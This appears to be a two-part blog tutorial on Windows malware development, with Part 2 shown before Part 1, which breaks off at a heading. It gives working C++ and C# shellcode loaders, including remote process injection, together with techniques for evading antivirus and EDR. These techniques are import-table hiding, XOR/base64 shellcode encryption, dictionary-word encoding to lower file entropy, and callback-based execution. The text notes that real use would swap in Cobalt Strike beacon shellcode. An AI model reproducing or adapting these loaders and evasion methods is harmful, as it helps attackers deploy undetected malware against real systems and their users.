For Part 1 of this series please see the following link:

Malware Development Introduction - Part 1

Part 2 of this series is meant to discuss process injection, Antivirus (AV) & Endpoint Detection and Response (EDR) solutions, and then dive into the fundamentals behind evasion in malware development. We’ll cover a few simple evasion techniques to help get you started in bypassing AV!

Part 2 Contents

• Process Injection
• AV & EDR
• Evasion Basics
• Recommended Resources

Process Injection

In the previous Part 1 post, we used the Win32 API CreateThread to transfer execution of the current running process to launch our shellcode. Then we wait until the shellcode finishes running using the WaitForSingleObject API. This method resides solely within the process that is calling our shellcode. For example, if we double-click our payload named csharp_payload.exe from Part 1 which simply runs calc.exe shellcode, the shellcode will be launched from the current process, csharp_payload.exe.

However, there are instances where we may want to “inject” shellcode into another process, either by identifying a process to inject into or creating a new process to target. This could be useful for lateral movement, persistence, or changing context of the process we’re running in to target another user session. This technique is called Process Injection.

The Win32 APIs required for shellcode injection are only slightly different than we saw previously for executing shellcode in the current process by using CreateThread. The main Windows API functions we need to perform process injection are as follows:

1. VirtualAllocEx: This is our initial function used to allocate space in memory of a target process where we are going to place our shellcode and should be equivalent to the size of the shellcode.
2. WriteProcessMemory: This function is used to copy memory from one source (our shellcode) to a target destination, specifically the remote process we just allocated space to with VirtualAllocEx.
3. VirtualProtectEx: This function is used to change the protections on a region of memory of a remote specificed process, and in our case to make the shellcode region Executable.
4. CreateRemoteThread: Lastly, this function is used to create a thread in a remote address space of a target process where our shellcode resides.

C++ Shellcode Injection Payload

Using the above mentioned Windows APIs, we can create our C++ payload to perform shellcode injection (compiled with Visual Studio):

#include <windows.h>
#include <stdio.h>

// Calc.exe shellcode
unsigned char shellcode[] = {
  0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,
  0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,
  0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
  0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,
  0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
  0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
  0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
  0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,
  0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
  0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,
  0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
};

unsigned int shellcode_len = sizeof(shellcode);

int main(int argc, char* argv[])
{
    void* exec_buffer; // memory buffer for shellcode
    BOOL rv;
    HANDLE th, proc;
    DWORD oldprotect = 0;

    if (argc < 2) {
        printf("Please enter a process ID (PID) to target.");
        return 0;
    }

    // Get target process ID (PID) from command-line arg
    DWORD PID = atoi(argv[1]);
    printf("PID = %i", PID);

    // Open handle to target process
    proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    
    // Allocate buffer for shellcode in remote process
    exec_buffer = VirtualAllocEx(proc, NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    printf("[i] Allocated Memory At : 0x%p\n", exec_buffer);

    // Copy shellcode to remote process buffer
    WriteProcessMemory(proc, exec_buffer, shellcode, shellcode_len, NULL);

    // Make the remote buffer executable
    rv = VirtualProtectEx(proc, exec_buffer, shellcode_len, PAGE_EXECUTE_READ, &oldprotect);

    if (rv != 0) {
        // Run the payload from the remote thread
        th = CreateRemoteThread(proc, 0, 0, (LPTHREAD_START_ROUTINE)exec_buffer, 0, 0, 0);
        CloseHandle(proc);
    }
    
    return 0;
}

Once our program is compiled, we can open up an app such as Notepad to inject our shellcode into. I’m using Process Hacker to analyze processes running on my system, but there are other similar apps you could also use. In the below screenshot we can see Notepad is running under PID 9992 on my system.

Our C++ program expects the PID as an input argument that we are injecting shellcode into, which gets assigned to the DWORD PID variable. The program then attempts to open the target process using the OpenProcess function which expects the target PID as the last argument. Once we opened the process, we can use our 4 Win32 API functions above to do the following steps:

1. Allocate space in memory of the new process
2. Write shellcode to the allocated memory
3. Change the protection region to Executable
4. Then start a thread in the remote process where our shellcode is stored.
   • Lastly, we call CloseHandle to close the opened Notepad process handle.

Let’s execute the program to inject shellcode into Notepad. Upon execution, we instantly see the calc.exe binary pop up since our shellcode was successfully executed within the Notepad process.

From the program output above, we see that the allocated shellcode gets stored at the memory address 0x00002B124980000. If we open up Process Hacker again and double-click the Notepad process (PID = 9992 in my environment), we can browse to Memory tab, sort by Protection, and find our allocated shellcode within the RX (Readable-eXecutable) memory region with the base address from our programm output (0x00002B124980000).
Note that the memory region we allocated is set to RX and not RWX since we last changed the protection region to PAGE_EXECUTE_READ (RX) using VirtualProtectEx. If we double-click on this memory region in Process Hacker, we should see the allocated shellcode bytes stored in memory, confirming the shellcode injection worked!

There are TONS of other methods of shellcode/process injection which we’re not going to cover now, but this is just meant to be a primer on how a basic process injection payload works in C++.

AV & EDR

Now that we understand some basic malware development from Part 1 and the above Process Injection section, we need to discuss AV & EDR solutions. A basic payload like the one above is always going to be blocked by AV or EDR due to the simple detections and signatures within the small piece of malware. To understand how to bypass these solutions in our malware, it can help to have a better understanding of how these solutions operate and what they detect.

See some basic definitions of each below:

• Antivirus (AV) : These solutions identify malicious code using a combination of signature-based and heuristic-based detections. Signature detections use a known component of malware such as file hashes, hard-coded strings, API functions, IPs/URLs, etc. Heuristic detections detect on activity or function of the malware while executing to identify bad behaviour.
  • Product examples include Microsoft Defender, AVG, and Kaspersky.
• Endpoint Detection and Response (EDR): These solutions are considered “next-gen” antivirus solutions which are much better at recognizing malicious activity and initiate responses. EDRs have much more heuristic and behaviour-based detections, machine learning, can be used for a more in-depth analysis of processes and detections, or can be used for performing threat hunting. EDRs also perform API hooking which can be used to monitor processes for making suspicious API calls (along with many other security prevention techniques).
  • Product examples include Microsoft Defender for Endpoint (MDE), CrowdStrike Falcon, and SentinelOne.

Evasion Basics

To bypass an AV or EDR solution, we’ll need to learn some evasion basics used to modify our code and execution techniques. We’re not going to focus on a specific solution or product but instead discuss common evasion techniques and present code samples that could be used together or in combination for bypassing endpoint security solutions. Note that this is not an overly comprehensive list, but a list of the basics you should learn when implementing evasion into payloads.

Hiding API Function Imports

Within our standard C++ paylod previously demonstrated, any API functions used will be created within the Import Address Table (IAT). We can identify the API calls ourself by using Process Hacker or the newer System Informer. Open System Informer and separately execute a payload at the same time. In System Informer, double-click the EXE running your malware (rundll32.exe in my example) and open the Modules tab. Find and click on the DLL name (i.e. CPP-DLL-Testing.dll). On the left side of the pop up, click Imports and scroll to see the loaded Win32 API functions such as VirtualAlloc, VirtualProtect, and WaitForSingleObject.

These API functions can be a predictable series of APIs known to AV and EDR solutions. In order to hide these function calls withn our IAT, we first need to familiarize ourselves with 2 APIs: LoadLibrary and GetProcAddress. LoadLibrary will load a specific module in memory (i.e. a DLL) and return a handle to that module. GetProcAddress will return the address of an exported function within a provided library (DLL).

We also need to know the API definition syntax for each function which we can find on the Microsoft Win32 API documentation. An example of the VirtualProtect API definition is found at this link which tells us the API syntax and that its within kernel32.dll near the bottom of the page.

We can create definitions and use these functions in the below C++ code sample to identify addresses in memory of our required function calls (VirtualAlloc, CreateThread, etc.) using LoadLibrary and GetProcAddress which will “clean” our Import Address Table.

// First create function definitions of each used function using Win32 API documentation
typedef LPVOID (WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD  flProtect);
typedef BOOL (WINAPI* pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
typedef HANDLE (WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE  lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);

// Get address of kernel32.dll using LoadLibrary
HMODULE kernel32Library = LoadLibrary(L"kernel32.dll");

// Get addresses of function exports using GetProcAddress
pVirtualAlloc fnVirtualAlloc = (pVirtualAlloc)GetProcAddress(kernel32Library, "VirtualAlloc");
pVirtualProtect fnVirtualProtect = (pVirtualProtect)GetProcAddress(kernel32Library, "VirtualProtect");
pCreateThread fnCreateThread = (pCreateThread)GetProcAddress(kernel32Library, "CreateThread");
pWaitForSingleObject fnWaitForSingleObject = (pWaitForSingleObject)GetProcAddress(kernel32Library, "WaitForSingleObject");

If we create and compile the full C++ payload to launch shellcode, we can check the function imports using dumpbin shown below. The IAT now only shows some basic API imports and successfully hid our functions!

Note to do this effectively and not have additional imports in your program, you have either compile it manually with cl.exe or remove the Microsoft C Run-Time Library (CRT) in Visual Studio. This is a whole other post and will create issues in your code, so we won’t be getting into it now. For further info, Maldev Academy has a very useful module on it titled “CRT Library Removal & Malware Compiling”.

Shellcode Encryption and Encoding

To better hide or obfuscate our shellcode, we can encrypt the shellcode using algorithms such as XOR or AES. This is to prevent prying eyes or AV/EDR signatures from statically identifying shellcode signatuers in our programs on disk. We can also encode the encrypted shellcode into different formats such as base64, ascii85, or hex which can be decoded/decrypted at runtime then executed.

We use encoding and encryption to obfuscate our shellcode in a way that it is harder to identify and bypass static analysis on disk. However, once the shellcode is decrypted/decoded, it will still function the same way in-memory since it needs to run as expected. There are other ways to evade this such as polymorphich shellcode or User-Defined Reflective Loaders (UDRL) but that’s way outside the scope of this post.

I’ll provde an example of XOR shellcode encryption below using Python. Note that I’m using Python code from my public Git repo Python-Crypter.

import os, base64

# Base64 encode function
def b64EncodeShellCode(shellcode):
	return base64.b64encode(shellcode).decode('ascii')

# Path to shellcode on disk
shellcode_file = "calc-thread64.bin"

# Read shellcode file
with open(shellcode_file, 'rb') as sc:
		file_shellcode = sc.read()

# Encryption key
encKey = "MHUJC827AKCj1"

# XOR encrypt shellcode
encryptedShellCode = bytearray(byt ^ ord(encKey[i % len(encKey)]) for i, byt in enumerate(file_shellcode))

# Base64 encode the encrypted shellcode
base64Shellcode = b64EncodeShellCode(encryptedShellCode)
print(base64Shellcode)

When I run this script on calc-thread64.bin raw shellcode file, I get the following XOR encrypted and base64’d shellcode:

> python shellcode-encrypt.py
sQDWrrPQ8jdBSwI7cB0aBBwLCeBSCcARCnnGGk0CyGoSf8o5EyI++gIfB3LxegaB538LTU9kdQuC8T92QIqhh2MMGR3BERi5dX0DQrq6zcBVSkNwt/c1LAtr4R3DHVIHs3IXCEqTiWcFt5wLyAy6f0CdDlv4BXmV5gL5+zoASoJS0Ti5GUkPHDpyeJo2smkJwxVuCjniUQDATyJ1xghJA0Loc7xFwwtr4QwQFBIdYWh2GQoaK2sFy7lqAmrN1xkKGjB5xlq8HbzHzWoJ8UJqMU1IVUpDcL+6QEpDanD3ed4lxMfnjKFWaWBw9+7A997H53/Cj2tWNzFC1bGjTTeMBlgxBVtNERTDmcfnVCAnIERUNS1V

Next, we’ll take this base64 encrypted shellcode and use it in a C# payload sample where we’ll need to base64 decode and then XOR decrypt the shellcode before executing. It’s also important to use the same XOR key for decryption that we used for encryption above, otherwise it won’t decrypt properly.

namespace Test
{
    class Program
    {
        [DllImport("kernel32")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static UInt32 PAGE_READWRITE = 0x04; //RW
        static UInt32 PAGE_EXECUTE_READ = 0x20; //RX

        static string encryption_key = "MHUJC827AKCj1"; // Same key used for encryption/decryption

        // Main function
        static void Main(string[] args)
        {
            // XOR encrypted and base64'd Calc.exe shellcode
            string base64 = @"sQDWrrPQ8jdBSwI7cB0aBBwLCeBSCcARCnnGGk0CyGoSf8o5EyI++gIfB3LxegaB538LTU9kdQuC8T92QIqhh2MMGR3BERi5dX0DQrq6zcBVSkNwt/c1LAtr4R3DHVIHs3IXCEqTiWcFt5wLyAy6f0CdDlv4BXmV5gL5+zoASoJS0Ti5GUkPHDpyeJo2smkJwxVuCjniUQDATyJ1xghJA0Loc7xFwwtr4QwQFBIdYWh2GQoaK2sFy7lqAmrN1xkKGjB5xlq8HbzHzWoJ8UJqMU1IVUpDcL+6QEpDanD3ed4lxMfnjKFWaWBw9+7A997H53/Cj2tWNzFC1bGjTTeMBlgxBVtNERTDmcfnVCAnIERUNS1V";

            // Base64 decode
            byte[] decoded = Convert.FromBase64String(base64);
            byte[] shellcode = new byte[decoded.Length];

            // XOR decrypt
            for (int i = 0; i < decoded.Length; i++)
                shellcode[i] = ((byte)(decoded[i] ^ encryption_key[(i % encryption_key.Length)]));

            // 1. Allocate shellcode
            IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, shellcode.Length, (0x1000 | 0x2000), PAGE_READWRITE);
            
            // 2. Copy shellcode to allocated space
            Marshal.Copy(shellcode , 0, (IntPtr)funcAddr, shellcode.Length);

            // 3. Change protection to executable
            uint oldprotection = 0;
            VirtualProtect((IntPtr)funcAddr, (uint)shellcode.Length, PAGE_EXECUTE_READ, out oldprotection);

            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            // 4. Execute
            hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }
    }
}

I can then compile this code with csc using the command C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /out:csharp_test.exe CSharp_EXE.cs. Run the compiled EXE and we successfully pop calc with the XOR decrypted shellcode!

Entropy Evasion

In 2024, I did 3 conference presentations about malware evasion and entropy titled “Simplified Malware Evasion - Entropy and Other Techniques” (see SecTor 2024 slides). Entropy is a measurement of randomness which EDRs use to help identify malware containing a high threshold of entropy compared to normal files. The slides and presentation talk a lot more about entropy and the research I did, but to sum it up: Files with large random blobs such as shellcode create high levels of entropy in our compiled programs. We want to reduce entropy of payloads to avoid hitting these thresholds where EDRs will perform additional analysis/machine learning/detections on high entropy files.

Here’s a screenshot from my presentation slides showing 2 different Cobalt Strike payloads w/ XOR encrypted shellcode that have very high Shannon entropy (note that 8 is the max, 0 is the min). I used the Shannon-Entropy.py script on my Gist to calculate this.

To reduce entropy of our payloads, I created a technique to encode shellcode into dictionary words using DictionShellcode. The tool will create a translation dictionary translate_dict variable which acts as a lookup table to decode dictionary words to their byte value equivalent.

The tool Git repo explains it more, but ultimately we can implment this shellcode encoding method to reduce entropy in all sections of our PE file payloads. Here’s an example of the decoding routie for a C++ payload using dictionary encoded shellcode:

DictionShellcode example usage
python DictionShellcode.py -f calc-x64.bin -lang cpp
Take output from the Python tool above and put it into the below payload sample (provided in the Git repo).

Payload sample in C++

// Shellcode translation dictionary
const char* translate_dict[256] = { "discipline","disorder","hypothetical","information","researcher","mostly","offered","pleasant","doctrine","freeware","fighters","processors","independence","indicating","trackbacks","bizrate",.............,"counters","compact","locking","spirituality","copying" };

// Shellcode in Dictionary words format
const char* dict_words[276] = { "compact","superior","secretary","relationships","stated","incorporate","insured","discipline","discipline","discipline","restrict","replace","restrict","emission","resistance","replace","shareware","superior","instant","organisations","hospitals","superior","seconds","resistance","brochures","superior",
"resistance","believed",...........,"hospitals","discipline" };

// Converted shellcode placeholder
unsigned char shellcode[276]; // Same length as `dict_words` var
unsigned int shellcode_len = sizeof(shellcode);

// Decode shellcode using input Dictionary wordlist "translate_dict"
for (int sc_index = 0; sc_index < shellcode_len; sc_index++) // Loop through shellcode words first
{
    for (int dict_index = 0; dict_index < 256; dict_index++) // Loop through all possible dictionary words second
    {
        // If the word was found in the shellcode Dictionary
        if (strcmp(translate_dict[dict_index], dict_words[sc_index]) == 0 ) {
            // Convert shellcode to byte and add to output variable
            shellcode[sc_index] = dict_index;
            break;
        }
    }
}

// Continue allocating and executing shellcode from `shellcode` variable...

After compiling the program, calculating entropy of these payloads greatly reduces the overall entropy, bypassing the thresholds of file entropy that some EDRs check. We can use the Shannon-Entropy.py script to calculate Shannon entropy of our compiled DictionShellcode.exe payload which has dictionary word encoded Cobalt Strike shellcode. See that the entropy is only 5.16 which is MUCH lower and normal-looking compared to the previous examples!

Alternate Shellcode Execution Methods (aka callback functions)

A slightly lesser known technique that’s been around for a while is callback functions. As per Windows documentation, callback functions are “code within a managed application that helps an unmanaged DLL function complete a task”. The goal of using this technique is to avoid APIs such as CreateThread or NtCreateThreadEx and instead use callback functions to complete some task (i.e. execute our shellcode). Note I also discussed callback functions for malware evasion in more detail in my 2024 talk (see SecTor 2024 slides).

I have a public GitHub repo called CSharp-Alt-Shellcode-Callbacks for this exact use case. In the repo, I provide C# examples of callback functions which can all be used to launch shellcode. The same can be done in C/C++ as well!

As an example, if we take the code sample from `` (shown below):

using System;
using System.Runtime.InteropServices;
using System.Text;

namespace AltCallbacks
{
    class Callback
    {
        const uint MEM_COMMIT = 0x00001000;
        const uint PAGE_EXECUTE_READWRITE = 0x40;
        const uint LOCALE_SYSTEM_DEFAULT = 0x0800;

        [DllImport("kernelbase.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("user32.dll")]
        public static extern bool EnumDesktops(IntPtr hwinsta, IntPtr lpEnumFunc, IntPtr lParam);

        static string key = "THISISMYKEY";

        static void Main(string[] args)
        {
            // Calc shellcode
            string base64 = @"qADKt7m7jVlLRRgFCRkBGAUFaJkgEd8aKRvCAVURwBd5HMM7AwFc+hMBCGidAHiT5W8sJUlpeRWJgF4IUoy7phcYBQDCAWnYD2UDRInfyMFTSVMF3IsxPhxJmQPCG1UdwAV5HUmZsB8bspAKzm3cAEiFBGKEEXqF9RWJgF4IUoxhqzCoGEsFd0EWdIg+nQEQwwl3AFKdPwrOVRwMwhNVGkyJCs5d3ABIgwgLDAEVHAMVEAgKCAkF2qdlGAa3qQsIChcRwFewA7e2rBQb91hLRVlUSElTAd7AWEpFWRXyeNgm1LKM8KVEfkII6e/G8MS0kBHXjGFvTy9H2bClLFHzDkA7PCdZEgTQjrecMCg/LncuPTxU";

            byte[] decoded = Convert.FromBase64String(base64);
            byte[] shellcode = new byte[decoded.Length];

            for (int i = 0; i < decoded.Length; i++)
                shellcode[i] = ((byte)(decoded[i] ^ key[(i % key.Length)]));

            IntPtr p = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            
            Marshal.Copy(shellcode, 0, p, shellcode.Length);
            
            // Callback function
            EnumDesktops(IntPtr.Zero, p, IntPtr.Zero);

            return;
        }
    }
}

Compile the code into an EXE using csc again: csc.exe /target:exe /out:EnumDesktops.exe CSharp-Callback_EnumDesktops.cs. Lastly, launch the EXE and watch it pop calc using the callback function!

Recommended Resources

Below is a summary of resources I personally use and have found helpful in my malware development work.

Courses

• Sektor7: Malware Development Essentials: Great introductory self-paced course to get started in malware dev using C++. I’ve done multiple Sektor7 courses myself.
• Maldev Academy: Extremely thorough course that continuously gets updates as of 2024 and is backed by some known names in the industry. Very affordable with various pricing models. Can also be used as reference material since there’s tons of useful content depending on what you’re trying to do.

Certifications

• CRTO: Red Team Ops (RTO) and RTO2 courses/certifications from Zero-Point Security (@_RastaMouse).
• OSEP: The OSEP course and cert is the closest Offensive Security course in terms of learning and applying malware development. Note that there is no malware development component in the OSCP at this time.

Sites

• VX-Underground - VX-API code
• VX-Underground - Windows Papers
• LOLBAS / LOLBin Project
• Hijack Libs - DLL hijacking library
• PInvoke.dev - PInvoke function documentation

Blogs

• ired.team
• cocomelonc
• Capt. Meelo
• A Blueprint for Evading EDR in 2022

Books

• Evading EDR: One of the first, if not the first, book on malware and EDR evasion.
• Evasive Malware: Newer but similar book on creating advanced malware.
• Gray Hat C#: More for tool dev instead of C# malware, but still relevant.
• Windows Internals: Not required reading but can be useful as reference material as you get more into low-level malware dev.
• Windows Security Internals: Windows Internals book by James Forshaw.

Welcome to the first Part of the malware development introduction series! For Part 2 of this series please see the following link:

Malware Development Introduction - Part 2

Getting into malware development can be a daunting task. Knowing where and how to get started isn’t always that obvious as there are tons of resources out there (both free and paid) but little information on what to start with or focus on first.

The idea of this post is to help make it a bit easier for people starting in malware development by sharing some general direction, tips, and resources I personally have used and found very useful throughout my experiences.

The overall goal of our malware development efforts is typically to execute shellcode which we can use to gain an initial foothold in an environment and perform post-exploitation activites. Our objective is to obfuscate our payloads and shellcode in a way that bypass endpoint security protections (more on this later) to establish that initial foothold undetected.

Now what actually is shellcode? It is generally a small piece of code used to execute some type of task on a computer. Shellcode is typically written in Assembly Language (ASM) and can be encoded in hexadecimal format for our application. In this case, we’ll use it to launch a small program such as calc.exe. If you’re interested in seeing what ASM looks like, check out this link on my blog.
In a real environment we’d be creating and using shellcode that launches a C2 Beacon such as Cobalt Strike), but lets just stick to learning the funadamentals for now on how to actually execute shellcode.

Part 1 Content Overview

• Coding Languages
• Setting up your Environment
• Malware Dev 101

Coding Languages

It helps to have even a small programming background before getting into malware development, but just know that it isn’t an absolute requirement. If not being a coder is what’s holding you back from getting into malware dev then forget about that and just dive right in. Sure it will help you later on as you become more intermediate and advanced, but to get started you can get by with basic understanding of coding.

For the sake of this post, we will walk through different code samples using both C++ and C# as these are two of the most common and well-documented malware development languages. It also greatly helps us to work in object-oriented programming languages since it will be much easier to interact with the operating system functions (i.e. Win32 API). Newer languages like Go and Rust are gaining populatity in malware dev, but for the sake of learning fundamentals we’ll stick to C-based low-level languages.

Note: In this post we’re only going to be covering Windows malware development.

General Coding Resources

• C++ Learning Resources
• cplusplus.com
• CodeAcademy: Learn C++
• Microsoft: Learn C#
• CodeAcademy: Learn C#

Setting up your Environment

In order to write and compile our malware on Windows, one of the easiest ways is to install and use Visual Studio. The free version we could use is called Visual Studio Community. While installing your Visual Studio environment, you will have the ability to add new “Workloads” which can allow you to compile C++ and C# w/ Visual Basic (.NET desktop) development environments. Throughout this post we’ll be using both C++ and C#, so if you’re following along then having these setup first will be essential.

You can of course program malware from a Linux OS GNU C/C++ Compiler (gcc) if you want to. Or on Windows using the cl.exe binary as part of Visual Studio to compile C++ programs or csc.exe to compile C#/.NET applications. To keep things simple, we’ll use Visual Studio to compile C++ programs and the csc.exe compiler to compile C# programs. See a screenshot below of my Visual Studio installation.

Malware Dev 101

Let’s get started with some hands-on work and our first program! We need to have a basic understanding of the requirements needed to launch shellcode in our first malicious program. In order to execute shellcode, we have to familiarize ourselves with the Win32 API. Using the Win32 API allows us to interact with backend features of the Windows operating system.

The main Windows API functions we need to execute shellcode are as follows:

1. VirtualAlloc: This is our initial function used to allocate space in memory where we are going to place our shellcode and should be equivalent to the size of the shellcode.
2. RtlMoveMemory or memcpy (C/C++) / Marshal.Copy (C#): These functions are used to copy memory from one source (our shellcode) to a target destination, which will be the address we just allocated for our shellcode using VirtualAlloc.
3. VirtualProtect: This function is used to change the protections on a region of memory, and in our case to make the shellcode region Executable.
4. CreateThread and WaitForSingleObject: CreateThread is used to create a new thread in the current process that’s pointing to the start of our shellcode. WaitForSingleObject is called after CreateThread to delay execution until the previous thread completes, which our case is required to wait until the shellcode execution finishes (or the process is killed/dies).
   

I definitely suggest taking a look at each function link from above to read some of the documentation, understand what each function is used for, and the argument syntax.

Now that we are familiar with the Windows API functions required, next we need to create shellcode to execute. For the sake of testing, we’re just going to use basic shellcode that launches calc.exe to pop the Windows calculator and show our execution worked. To create this shellcode, we could use MSFvenom from Metasploit that comes packaged with Kali Linux, or use an existing calc.bin shellcode from online (i.e. exploit-db).
If you have Kali OS handy, you can create your own shellcode with the following command for a 64-bit Windows OS:

msfvenom -p windows/x64/exec CMD="calc.exe" -f raw -o calc.bin

Once you have the calc.bin output file, you will need to get the hex contents of the file by using something like CyberChef. There are many other popular ways to do this, but this is one of the easy methods. In CyberChef, add your shellcode input file into the top-right box, select “To Hex” as your Recipe, and then modify the delimeter to make it in an easy format useful for our code such as \x or 0x with comma formats.

Once you have your shellcode in hex format, we can copy it into our first piece of malware! To create your first C++ executable in Visual Studio, open the app and click New Project -> Language = C++ -> Select “Console App”. See example below.

Here is the first C++ sample to launch shellcode:

/*
C++ Code - First piece of malware to execute calc.exe
*/
#include <windows.h>
#include <stdio.h>

// Calc.exe shellcode
unsigned char shellcode[] = {
  0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,
  0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,
  0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
  0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,
  0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
  0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
  0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
  0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,
  0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
  0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,
  0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
};

unsigned int shellcode_len = sizeof(shellcode);

int main()
{
    void* exec_buffer; // memory buffer for shellcode
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    // 1. Allocate buffer for shellcode
    exec_buffer = VirtualAlloc(0, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 2. Copy shellcode to buffer
    RtlMoveMemory(exec_buffer, shellcode, shellcode_len);

    // 3. Make the buffer executable
    rv = VirtualProtect(exec_buffer, shellcode_len, PAGE_EXECUTE_READ, &oldprotect);

    if (rv != 0) {
        // 4. Run the payload
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_buffer, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }

    return 0;
}

Once you compile the program and there are no errors, there should be an EXE in the output directory which will be our payload. Double-click the EXE to confirm the payload works and calc.exe gets launched! If there are compiling errors, it is likely due to your environment setup missing installations required for C++.

EXE vs DLL Payload

